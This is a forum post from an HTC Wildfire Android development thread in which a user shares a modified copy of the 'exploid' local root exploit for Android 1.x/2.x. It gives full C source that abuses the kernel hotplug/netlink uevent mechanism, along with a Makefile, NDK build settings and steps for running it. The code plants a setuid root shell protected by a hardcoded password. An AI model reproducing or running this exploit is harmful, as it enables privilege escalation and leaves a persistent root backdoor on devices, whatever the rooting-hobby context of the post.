[Wildfire Android Development] MartinEve:
In addition to the problem of the PATH variable being reset, there is also no persistent storage location that is remounted at boot without the noexec flag set. In short, there is no way, at present, to persist the rootshell or su binaries.

However, I have managed to obtain a 3G signal for my laptop. Here's the modified code:

/* android 1.x/2.x the real youdev feat. init local root exploit.
* (C) 2009/2010 by The Android Exploid Crew.
*
* Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
* Or use /data/local/tmp if available (thx to ioerror!) It is important to
* to use /sqlite_stmt_journals directory if available.
* Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
* or use USB keys etc. This will invoke hotplug which is actually
* our exploit making /system/bin/rootshell.
* This exploit requires /etc/firmware directory, e.g. it will
* run on real devices and not inside the emulator.
* I'd like to have this exploitet by using the same blockdevice trick
* as in udev, but internal structures only allow world writable char
* devices, not block devices, so I used the firmware subsystem.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*
* Thx to all the TAEC supporters.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>

// CHANGE!
#define SECRET "theroots"

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void copy(const char *from, const char *to)
{
char *logmessage;
int fd1, fd2, ofd;
char buf[0x1000];
ssize_t r = 0;

if ((ofd = creat("/sqlite_stmt_journals/copylog", 0644)) < 0)
die("[-] creat");
logmessage = "[+] Opening fromfile\n";
write(ofd, logmessage , strlen(logmessage));

if ((fd1 = open(from, O_RDONLY)) < 0)
die("[-] open");

logmessage = "[+] Opening tofile\n";
write(ofd, logmessage , strlen(logmessage));
if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0)
die("[-] open");

logmessage = "[+] Entering writeloop\n";
write(ofd, logmessage , strlen(logmessage));
for (;;) {
r = read(fd1, buf, sizeof(buf));
if (r < 0)
die("[-] read");
if (r == 0)
break;
if (write(fd2, buf, r) != r)
die("[-] write");
}

close(fd1);
close(fd2);
sync(); sync();
}

void clear_hotplug()
{
int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
write(ofd, "", 1);
close(ofd);
}

void rootshell(char **env)
{
char pwd[128];
char *sh[] = {"/system/bin/sh", 0};

memset(pwd, 0, sizeof(pwd));
readlink("/proc/self/fd/0", pwd, sizeof(pwd));
if (strncmp(pwd, "/dev/pts/", 9) != 0)
die("[-] memory tricks");

write(1, "Password (echoed):", 18);
memset(pwd, 0, sizeof(pwd));
read(0, pwd, sizeof(pwd) - 1);
sleep(2);

if (strlen(pwd) < 6)
die("[-] password too short");
if (memcmp(pwd, SECRET, strlen(SECRET)) != 0)
die("[-] wrong password");

setuid(0); setgid(0);
execve(*sh, sh, env);
die("[-] execve");
}

int main(int argc, char **argv, char **env)
{
char buf[512], path[512];
int ofd;
struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
int sock;
char *basedir = NULL, *logmessage;

/* I hope there is no LD_ bug in androids rtld :) */
if (geteuid() == 0 && getuid() != 0)
rootshell(env);

if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
die("[-] readlink");

if (geteuid() == 0) {
if ((ofd = creat("/sqlite_stmt_journals/log", 0644)) < 0)
die("[-] creat");
logmessage = "[+] Clearing hotplug\n";
write(ofd, logmessage , strlen(logmessage));
clear_hotplug();
logmessage = "[+] Remounting /system read-write\n";
write(ofd, logmessage , strlen(logmessage));
/* remount /system rw */
//if (mount("/dev/mtdblock3", "/system", "yaffs2", MS_REMOUNT, 0) < 0)
//	mount("/dev/mtdblock3", "/system", "yaffs", MS_REMOUNT, 0);

//logmessage = "[+] Copying rootshell\n";
//write(ofd, logmessage , strlen(logmessage));
//copy(path, "/system/bin/rootshell");
copy(path, "/sqlite_stmt_journals/rootshell");
logmessage = "[+] chmodding rootshell\n";
write(ofd, logmessage , strlen(logmessage));
chmod("/sqlite_stmt_journals/rootshell", 04711);
//chmod("/system/bin/rootshell", 04711);
//chmod("/system/bin", 04774);
//for (;;);
return 0;
}

printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
printf("[*] Modified by Martin Eve for Wildfire Stage 1 root\n");

basedir = "/sqlite_stmt_journals";
if (chdir(basedir) < 0) {
basedir = "/data/local/tmp";
if (chdir(basedir) < 0)
basedir = strdup(getcwd(buf, sizeof(buf)));
}
printf("[+] Using basedir=%s, path=%s\n", basedir, path);
printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

memset(&snl, 0, sizeof(snl));
snl.nl_pid = 1;
snl.nl_family = AF_NETLINK;

if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");

close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) < 0)
die("[-] write");
close(ofd);
symlink("/proc/sys/kernel/hotplug", "data");
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
"SUBSYSTEM=firmware%c"
"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
printf("[+] sending add message ...\n");
if (sendmsg(sock, &msg, 0) < 0)
die("[-] sendmsg");
close(sock);
printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
"[*] settings, plugin USB key etc.\n"
"[*] You succeeded if you find /system/bin/rootshell.\n"
"[*] GUI might hang/restart meanwhile so be patient.\n");
sleep(3);
return 0;
}

Obviously, this can be tidied up and still has all my debug messages in it.

To answer an earlier question: you would never see the die messages inside the callback; they are not executed at the same shell prompt, but are instead the result of a callback to the executable by the exploit's target.

Once you've run this exploit there will be a binary file inside /sqlite_stmt_journals/ called rootshell that you can execute to get a root shell (surprisingly ;)). The password is: theroots

In terms of compiling, you aren't just compiling with gcc and trying to copy across are you? You need to install the Android NDK...

Here's a Makefile that you can use with it once set up:

APP := exploid
ROOT:=/home/martin
NDK_PLATFORM_VER := 4
INSTALL_DIR := /sqlite_stmt_journals
ANDROID_NDK_ROOT:=$(ROOT)/android-ndk-r4b
ANDROID_NDK_HOST:=linux-x86
ANDROID_SDK_ROOT:=$(ROOT)/android-sdk-linux_86
PREBUILD:=$(ANDROID_NDK_ROOT)/build/prebuilt/$(ANDROID_NDK_HOST)/arm-eabi-4.2.1
BIN := $(PREBUILD)/bin
CPP := $(BIN)/arm-eabi-g++
CC := $(BIN)/arm-eabi-gcc
CFLAGS := -I$(ANDROID_NDK_ROOT)/build/platforms/android-$(NDK_PLATFORM_VER)/arch-arm/usr/include
LDFLAGS := -Wl,--entry=main,-rpath-link=$(ANDROID_NDK_ROOT)/build/platforms/android-$(NDK_PLATFORM_VER)/arch-arm/usr/lib,-dynamic-linker=/system/bin/linker -L$(ANDROID_NDK_ROOT)/build/platforms/android-$(NDK_PLATFORM_VER)/arch-arm/usr/lib
LDFLAGS += -nostdlib -lc

all: $(APP)

OBJS += $(APP).o

$(APP): $(OBJS)
$(CPP) $(LDFLAGS) -o $@ $^

%.o: %.c
$(CC) -c $(INCLUDE) $(CFLAGS) $< -o $@
install: $(APP)
$(ANDROID_SDK_ROOT)/tools/adb push $(APP) $(INSTALL_DIR)/$(APP)
$(ANDROID_SDK_ROOT)/tools/adb shell chmod 777 $(INSTALL_DIR)/$(APP)

shell:
$(ANDROID_SDK_ROOT)/tools/adb shell

run:
$(ANDROID_SDK_ROOT)/tools/adb shell $(INSTALL_DIR)/$(APP)

clean:
@rm -f $(APP).o $(APP)

You need to set your PATH like this for it to work:

export PATH=$PATH:/home/martin/android-sdk-linux_86/tools
export ANDROID_NDK_ROOT=/home/martin/android-ndk-r4b

obviously changing it to the correct path (and assuming you are working on a linux environment)

I'm going to write to HTC to try to get the kernel source and also hunt down the NAND unblocker module that was used for the tatoo. In the meantime, get as much interest going on this thread as you can -- I'm fairly new to the Android world and would appreciate advice as I make progress!

Best,

Martin